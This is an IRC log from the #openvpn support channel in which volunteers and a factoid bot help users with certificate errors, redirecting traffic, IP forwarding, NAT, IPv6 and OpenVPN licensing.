17:19 -!- Martin` [martin@shell.octocore.net] has quit [Read error: Operation timed out]
17:19 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
17:27 < ihre> What could be wrong when connecting to an OpenVPN server using a Win 7 x64 client wont work, yet  while connecting to the same server with a Ubuntu 12.04 LTS x64 client does? I've pasted my config & logs here: http://sprunge.us/dViH
17:33 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
17:38 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
17:48 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 276 seconds]
17:56 <+pekster> ihre: The error on line 73/74 is your issue: the CN=NT cert is self-signed, which suggests the ca.crt the client is using isn't the one that signed the server-cert presenting by the other end
17:58 -!- p3rror [~p3rror@41.140.24.138] has quit [Ping timeout: 276 seconds]
18:00 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
18:05 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
18:05 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 276 seconds]
18:06 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Client Quit]
18:18 < ihre> pekster: im most certain its the same ca.crt, I've just copied it from my ubuntu to my windows box, same error
18:22 -!- max_ [~max@mb82036d0.tmodns.net] has joined #openvpn
18:25 -!- Synthead [~max@216.239.55.116] has quit [Ping timeout: 245 seconds]
18:28 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:31 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 264 seconds]
18:32 -!- max_ [~max@mb82036d0.tmodns.net] has quit [Ping timeout: 245 seconds]
18:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 256 seconds]
18:38 <@dazo> ihre: and I'm most certain that error is related to using a wrong certificate .... most likely in the --cert option
18:38  * dazo heads out
18:39 -!- dazo is now known as dazo_afk
18:40 <+pekster> That or you're connecting to a differnet system that you think you are: once again, that's hard to tell with "xxx.xxx.xxx.xxx" in the remote-line
18:46 -!- defswork [~andy@141.0.50.105] has joined #openvpn
18:48 -!- master_of_master [~master_of@p4FF2497F.dip0.t-ipconnect.de] has joined #openvpn
18:49 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:51 -!- kirin` [telex@gateway/shell/anapnea.net/x-nhlmzxondihddadz] has joined #openvpn
18:51 -!- master_o1_master [~master_of@p4FF249F4.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
18:54 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:01 -!- raidz is now known as raidz_away
19:04 -!- raidz_away is now known as raidz
19:10 -!- Synthead [~max@mb82036d0.tmodns.net] has joined #openvpn
19:31 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
19:32 -!- Synthead [~max@mb82036d0.tmodns.net] has quit [Ping timeout: 245 seconds]
19:37 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
19:37 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:43 -!- raidz is now known as raidz_away
19:55 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: seelp]
19:59 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
19:59 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
19:59 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 260 seconds]
20:03 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
20:20 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-ijpgmextkbqapljj] has quit [Excess Flood]
20:21 -!- novaflash is now known as novaflash_away
20:21 -!- novaflash_away is now known as novaflash
20:22 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-tauatfdvyirwwrob] has joined #openvpn
20:31 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-kuiocvfnaaekkyzv] has quit [Ping timeout: 245 seconds]
20:43 -!- HyperGlide [~HyperGlid@110.184.81.47] has quit [Remote host closed the connection]
20:53 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Ping timeout: 246 seconds]
21:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:08 -!- trumee [~parul@93.186.148.70] has quit [Read error: Connection reset by peer]
21:12 -!- trumee [~parul@93.186.148.70] has joined #openvpn
21:15 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
21:20 < krapper> using openvpn server on DD-WRT, clients connect no problem. But automatically obtained routes only provide access to resources on server side. Looking to route all traffic across VPN Tunnel. Any direction on where to start with this?
21:21 <+pekster> !redirect
21:21 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:21 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
21:21 < rob0> Not just direction ... REdirection!
21:22 < krapper> :D
21:25 < krapper> !def1
21:25 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
21:27 < krapper> !man
21:27 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
21:29 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 246 seconds]
21:30 -!- defswork [~andy@141.0.50.105] has joined #openvpn
21:35 < krapper> !ipforward
21:35 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
21:35 < krapper> !linipforward
21:35 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
21:41 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
21:50 < krapper> i enabled redirect-gateway and reboot DD-WRT. Connect client, can't ping 8.8.8.8. Here is list of commands on DD-WRT -> http://pastebin.com/Dh4AQvVT
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:08 < hednod> anyone have time to help me figure out why my openvpn connection has such terrible throughput and stalling?
22:11 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-umavajzffpucwjzp] has joined #openvpn
22:18 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 264 seconds]
22:24 <+pekster> krapper: There's a flowchart you should have followed that tells you what the issue is
22:31 < krapper> pekster: any pointers for checking nat enabled on vpn subnet?
22:31 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 256 seconds]
22:33 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
22:33 -!- raidz_away is now known as raidz
22:33 -!- raidz [~raidz@raidz.im] has quit [Changing host]
22:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
22:33 -!- mode/#openvpn [+o raidz] by ChanServ
22:36 <+pekster> krapper: Are you performing NAT on the outbound VPN packets? (assuming you're using non-globally-routable RFC1918 space this is a strict requirement: "The Internet" has no idea what 10.8.0/24 is, or w/e subnet you're using)
23:02 < hednod> kisom: around?
23:06 -!- emid [~emid@192.241.162.156] has joined #openvpn
--- Day changed Thu Aug 01 2013
00:14 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 245 seconds]
00:22 -!- Guest45249 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
00:24 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
00:25 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
00:36 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
00:47 -!- Kurogane [~Kurogane@201.247.232.65] has quit [Read error: Connection reset by peer]
00:48 -!- Kurogane [~Kurogane@201.247.232.65] has joined #openvpn
01:03 -!- levifig [~levifig@spwn.co] has joined #openvpn
01:16 -!- Devastatr [~devas@186.214.15.236] has joined #openvpn
01:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 276 seconds]
01:31 -!- j4jackj [~j4jackj@99.199.11.127] has joined #openvpn
01:32 -!- vertigo [bleach@0x.ax.lt] has joined #openvpn
01:33 < j4jackj> Hello! Native language: english but I have Asperger's Syndrome so that my sentences might be malformed.
01:33 -!- Acrono [~Kurogane@201.247.232.65] has joined #openvpn
01:35 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:37 -!- Kurogane [~Kurogane@201.247.232.65] has quit [Ping timeout: 245 seconds]
01:58 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:04 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
02:04 -!- mode/#openvpn [+v s7r] by ChanServ
02:05 -!- MrQuist [~rob@a83-161-153-22.adsl.xs4all.nl] has quit [Read error: Connection reset by peer]
02:08 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
02:09 -!- Sazpaimon [~wat@96.227.217.235] has joined #openvpn
02:09 -!- Sazpaimon_ [~wat@96.227.217.235] has quit [Read error: Connection reset by peer]
02:10 -!- j4jackj_ [~j4jackj@99.199.11.127] has joined #openvpn
02:10 -!- j4jackj [~j4jackj@99.199.11.127] has quit [Ping timeout: 276 seconds]
02:10 -!- j4jackj_ is now known as j4jackj
02:16 -!- Sazpaimon_ [~wat@96.227.217.235] has joined #openvpn
02:17 -!- Sazpaimon [~wat@96.227.217.235] has quit [Read error: Connection reset by peer]
02:18 -!- ele__ is now known as ele
02:55 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-umavajzffpucwjzp] has quit [Ping timeout: 248 seconds]
02:55 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xkwvuwbqhdveuajb] has joined #openvpn
03:14 -!- Denial [Denial@90.202.5.141] has joined #openvpn
03:24 -!- vaillor [~Guest6529@adsl-ull-181-65.45-151.net24.it] has quit [Ping timeout: 268 seconds]
03:27 -!- vaillor [~Guest6529@151.72.20.193] has joined #openvpn
03:34 -!- novaflash is now known as novaflash_away
03:43 -!- novaflash_away is now known as novaflash
04:39 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:39 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:51 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
05:17 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:28 -!- Acrono [~Kurogane@201.247.232.65] has quit [Quit: Saliendo]
05:37 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:56 -!- Devastatr [~devas@186.214.15.236] has quit [Changing host]
05:56 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
05:56 -!- Devastatr is now known as Devastator
06:01 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xkwvuwbqhdveuajb] has quit [Ping timeout: 245 seconds]
06:06 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
06:08 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:17 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 268 seconds]
06:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:29 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
06:30 < cali> Hello
06:31 < cali> I would like to have my traffic from my openvpn server forwarded to one of the client, not the usual client -> server, how can this be done?
06:47 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
06:51 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 240 seconds]
06:55 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
07:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:09 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 248 seconds]
07:29 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
07:34 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
07:36 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rtfkqxmzzumuwunb] has joined #openvpn
07:42 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
07:47 -!- russoisraeli [~Drsed@pool-173-54-233-131.nwrknj.fios.verizon.net] has joined #openvpn
07:49 < russoisraeli> hello guys. It's me again to annoy you early in the morning :)?. is there a way for OpenVPN to get/pass the PATH from the Windows environment?
07:50 <@ecrist> russoisraeli: pass it to where?
07:50 <@ecrist> from where, exactly?
07:51 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Read error: Operation timed out]
07:52 < russoisraeli> ecrist: well, PATH is specified in Windows environment?. not really sure where/how it works in Windows, but it's available for "Run" or for any opening command prompt? but OpenVPN seems to reset it?
07:53 < russoisraeli> my problem is that i need to execute a powershell script, and powershell resides in potentially different places, depending on the O/S and 32/64 bit
07:53 <@ecrist> russoisraeli: use full paths
07:53 <@ecrist> when scripting anything, it's generally best to identify the full path
07:53 < russoisraeli> ecrist - that would be amazing, but i have no way to find out where powershell would be on a random windows system
07:54 <@ecrist> openvpn doesn't really "reset" the PATH variable, if you pass --cd, it actually changes directory, which will be reflected in $PATH
07:54 <@ecrist> russoisraeli: the binary for powershell should be in the same place on every system
07:55 < russoisraeli> hhhmm i could swear it differed on some systems, 32-64 bit
07:55 <@ecrist> ok, so, even if that's the case, you're up to two 
07:55 <@ecrist> really, your problem isn't with openvpn, but windows pathing
07:56 -!- monk [~aknm@196.14.139.96] has joined #openvpn
07:56 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
07:56 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
07:59 < vaillor> client-to-client is a server or a client directive?
07:59 <@ecrist> server
07:59 <@ecrist> vaillor: go read the manual, seriously
08:00 < vaillor> ok, and if i don't use it, what happens? that client A can't ping Client B but can only ping server?
08:00 < vaillor> "When this option is used, each client will "see" the other clients which are currently connected. Otherwise, each client will only see the server. Don't use this option if you want to firewall tunnel traffic using custom, per-client rules. "
08:00 < vaillor> this is what the manual saids
08:00 < vaillor> it is not very clear
08:00 < vaillor> this is why  i asked you
08:01 < russoisraeli> vaillor - traffic between multiple clients has to go through the server. It simply means that the server will not let any of that in-between client traffic to pass
08:01 < russoisraeli> not just ping?any traffic
08:01 < vaillor> yes
08:01 < vaillor> ping was a example
08:01 < russoisraeli> well, if you specify this option, it will let traffic pass
08:01 < russoisraeli> ecrist - is that correct?
08:02 <@ecrist> yes
08:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
08:11 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 264 seconds]
08:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:13 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:14 -!- klein [~klein@201.90.34.213] has joined #openvpn
08:14 -!- klein [~klein@201.90.34.213] has quit [Changing host]
08:14 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:15 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
08:18 -!- cyberspace- [20253@109.74.194.224] has joined #openvpn
08:25 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Connection reset by peer]
08:26 -!- klein [~klein@201.90.34.213] has joined #openvpn
08:26 -!- klein [~klein@201.90.34.213] has quit [Changing host]
08:26 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:35 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Read error: Connection reset by peer]
08:35 -!- kyrix_ [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:41 -!- kyrix_ [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
08:41 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:46 -!- russoisraeli [~Drsed@pool-173-54-233-131.nwrknj.fios.verizon.net] has quit [Ping timeout: 246 seconds]
08:46 -!- russoisraeli [~Drsed@pool-173-54-234-229.nwrknj.fios.verizon.net] has joined #openvpn
08:47 <+pekster> russoisraeli: Just call a batch script (or what-have-you) that can use %programfiles% or %systemroot% or whatever it is you need to define the path
08:48 <+pekster> script hooks can call any executable format the OS can run, so leverage that to design a script that is "smart" enough to do what you need
09:01 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
09:02 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
09:06 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Connection reset by peer]
09:16 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:20 -!- klein [~klein@201.90.34.213] has joined #openvpn
09:20 -!- klein [~klein@201.90.34.213] has quit [Changing host]
09:20 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:24 -!- russoisraeli [~Drsed@pool-173-54-234-229.nwrknj.fios.verizon.net] has quit [Quit: Leaving]
09:26 -!- GH0 [~GH0@unaffiliated/gh0] has joined #openvpn
09:27 < GH0> I want to setup a system so that when one user vnc's into a machine, it automatically opens a VPN connection to a remote server. My concern though, is doesn't this then forward all traffic through that remote server, or will it just forward the users traffic to that server?
09:28 <@ecrist> your goal isn't complete
09:28 <@ecrist> why do you want a VNC connection to initiate a VPN connection?
09:28 <+pekster> GH0, unless you tell it otherwise, neither. You have to ask openvpn to add routes for anything more than the link itself (via --route, or pushing --route from the server)
09:32 < GH0> ecrist, The user will login via vnc. Sorry very badly worded sentence. When the user logs in through vnc, an open vpn connection would be established immediately by using a script. pekster, so it will just act as normal for that one user then.
09:34 <+pekster> Well, maybe; that's highly dependant on your configuration (and what the server pushes if your client uses --client or --pull)
09:34 <+pekster> You're free to invoke openvpn as you see fit, but I'm not sure I see the benefit to triggering a connection on a VNC connection
09:39 -!- j4jackj [~j4jackj@99.199.11.127] has quit [Ping timeout: 240 seconds]
09:41 -!- HyperGlide [~HyperGlid@110.184.81.47] has joined #openvpn
09:46 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
09:58 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 240 seconds]
10:02 -!- cali [~cali@unaffiliated/cali] has quit [Read error: Connection timed out]
10:03 -!- cali [~cali@91.220.163.18] has joined #openvpn
10:03 -!- cali [~cali@91.220.163.18] has quit [Changing host]
10:03 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
10:03 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:09 -!- Hagabard [~hagabard@66-188-207-39.dhcp.roch.mn.charter.com] has quit [Read error: Operation timed out]
10:10 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Connection reset by peer]
10:16 -!- iokill [~iokill@91.114.127.102] has quit [Quit: iokill]
10:18 -!- JAVACODER [~JAVACODER@2.190.41.67] has joined #openvpn
10:19 -!- JAVACODER [~JAVACODER@2.190.41.67] has quit [Client Quit]
10:28 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
10:29 -!- kamyl_ [~user_name@static.11.110.9.176.clients.your-server.de] has joined #openvpn
10:29 -!- Devastator [~devas@186.214.111.124] has joined #openvpn
10:31 -!- kamyl_ [~user_name@static.11.110.9.176.clients.your-server.de] has left #openvpn []
10:35 -!- Hagabard [~hagabard@66-188-207-39.dhcp.roch.mn.charter.com] has joined #openvpn
10:36 -!- Devastator [~devas@186.214.111.124] has quit [Ping timeout: 240 seconds]
10:43 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:59 -!- j4jackj [~j4jackj@99.199.11.127] has joined #openvpn
11:05 < j4jackj> Hello!
11:17 -!- Devastator [~devas@186.214.111.96] has joined #openvpn
11:17 -!- Devastator [~devas@186.214.111.96] has quit [Changing host]
11:17 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:29 -!- crus [~crusader@crus0r.soho.on.net] has quit [Read error: Connection reset by peer]
11:31 < j4jackj> I'm wishing to set up a vpn that supports ipv6 using openvpn.
11:31 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:32 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
11:33 <+pekster> j4jackj: See the 'IPv6 Related Options' in the manpage
11:33 < j4jackj> Mhmm. of openvpn or .conf?
11:33 <+pekster> !man
11:33 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
11:34 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has joined #openvpn
11:34 < j4jackj> I know what a manpage is, I've been at this Linux business for over 5 years now.
11:35 < gtklocker> !welcome
11:35 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:35 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:35 < rob0> !ipv6
11:35 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
11:35 < rob0> "Use 2.3" is the relevant part of that.
11:36 < gtklocker> !ask
11:36 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
11:37 < gtklocker> Hello! I would like to access the internet over my VPN. My configuration is the one easy-rsa/2.0 gives so I think there lies my problem.
11:37 < j4jackj> My goal: use the LAN of the VPN's origin over the VPN. I will use a different subnet (10.42.151.x) and I have already set up the X509 infrastructure (almost).
11:38 <+pekster> j4jackj,
11:38 <+pekster> !serverlan
11:38 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:38 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:38 <+pekster> gtklocker,
11:38 <+pekster> !redirect
11:38 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:38 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
11:39 < j4jackj> NAT is not happening
11:39 <+pekster> Then don't NAT
11:40 < j4jackj> But then I can't access Inet?
11:40 <+pekster> !serverlan doens't have you use NAT unless you're unable to add a return route (and thus you break bi-directional routing -- far better to route properly)
11:40 < rob0> 10.42.151.x looks like ipv4 to me
11:40 <+pekster> Not with an RFC1918 network, no
11:40 <+pekster> RFC1918 is not globally routable
11:40 < j4jackj> rob0, I know. I'll use 2002:63c7:b7f:beef::/64 as my subnet6.
11:41 < j4jackj> I just want to route two RFC 1918 networks between each other.
11:41 < j4jackj> Without NAT.
11:41 < rob0> To access ipv4 resources over the VPN, you'll also need ipv4.
11:41 < j4jackj> It's been done.
11:41 < rob0> okay, that's trivial
11:41 < j4jackj> Subnet4 will be 10.42.151.x
11:42 < rob0> !route
11:42 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
11:42 <@vpnHelper> the server or client
11:47 < gtklocker> pekster: thanks a lot :)
11:51 < j4jackj> How do I get OpenVPN to adverstise an IPv6 subnet inside the VPN?
11:54 < j4jackj> Anyone?
11:56 < j4jackj> Anyone?
12:00 -!- sigius [~sigius@93-125-185-45.dsl.alice.nl] has quit [Remote host closed the connection]
12:02 <+pekster> j4jackj: See the section I referenced perhaps, and --tun-ipv6 in the manpage
12:02 <+pekster> Repeating yourself won't make answers come quicker either
12:03 < j4jackj> I'm using tap. Why? Because it encapsulates Ethernet, which is useful for my purpose.
12:03 < j4jackj> Altho I can use tun
12:03 < rob0> ewww.
12:04 <+pekster> There's also the de-facto:
12:04 <+pekster> !whybridge
12:04 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
12:04 < rob0> Bridging / tap was the old (pre-2.3) means of getting ipv6, but if you can avoid bridging, do.
12:07 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
12:10 < j4jackj> Well I don't know if I have 2.3 (debian testing, not updated in a while)
12:10 <+pekster> See either !repo (if you're running a supported version with repos available by the openvpn buildbots) or just do the traditional ./configure && make && make install routine
12:11 <+pekster> One could build debpkgs too, if you'd prefer
12:11 < j4jackj> 2.3.2
12:13 <+pekster> That's the latest release
12:16 < j4jackj> yup
12:16 < j4jackj> so how does one use IPv6 with the OpenVPN server doing the RAs?
12:17 < j4jackj> inside the VPN of course
12:20 <+pekster> You don't, just as you don't use a dhcp server across a tun device
12:20 <+pekster> RAs are an L2 concept (using IPv6 multicast, thus requiring L2 broadcast support)
12:21 <+pekster> OpenVPN will never handle RAs; that's the job of an RA daemon
12:22 < j4jackj> I get that.
12:22 < j4jackj> I was being figurative.
12:40 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rtfkqxmzzumuwunb] has quit [Ping timeout: 245 seconds]
12:41 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-cmstnlqukkcrpufs] has joined #openvpn
12:41 -!- HyperGlide [~HyperGlid@110.184.81.47] has quit [Remote host closed the connection]
12:46 -!- TheSov [~TheSov@12.69.170.2] has quit [Quit: Leaving]
12:53 -!- dooglus [~biufter@unaffiliated/dooglus] has left #openvpn []
12:59 -!- HyperGlide [~HyperGlid@110.184.81.47] has joined #openvpn
13:07 -!- marcinkuzminski [~marcinkuz@188.cimarosa.openttdcoop.org] has joined #openvpn
13:07 < marcinkuzminski> Hi, is there someone i could talk to regarding opensource openvpn version and licensing ?
13:08 <+pekster> The open-source OpenVPN (called simply "OpenVPN") is GPLv2 licensed
13:08 < marcinkuzminski> right
13:08 <+pekster> The commercial, non-free products ("Access Server" and "OpenVPN Connect") are not, and subject to their own EULAs
13:09 < j4jackj> What is OpenVPN Connect?
13:09 < j4jackj> And shouldn't it be called ComVPN?
13:09 <+pekster> Yes, that would make life a lot easier
13:10 <+pekster> Sadly it's not (the company selling the non-free products also owns the copyright to the name of the GPL product. Add some poorly designed website elements, and the playing field is ripe for confusion)
13:10 -!- SebastianKreutzb [~Sebastian@cip-109-107-37-39.gb1.brightbox.com] has joined #openvpn
13:10 <+pekster> !download has links to the GPL software
13:10 < marcinkuzminski> pekster: ok i ask because i'm the creator of RhodeCode oopen source version and we're wondering how openvpn did it with commercial side
13:10 <+pekster> marcinkuzminski: Completely different codebase
13:10 -!- HyperGlide [~HyperGlid@110.184.81.47] has quit [Remote host closed the connection]
13:10 < j4jackj> or if it's not already registered ConnectVPN.com? or something?
13:11 < marcinkuzminski> cc SebastianKreutzb ^^ did you read that ?
13:11 <+pekster> The non-Free products are "mostly GPL OpenVPN" wire-compatible, but it's not 100% -- the protocol feature sets and code (and thus bugs) are completely independent
13:11 -!- HyperGlide [~HyperGlid@110.184.81.47] has joined #openvpn
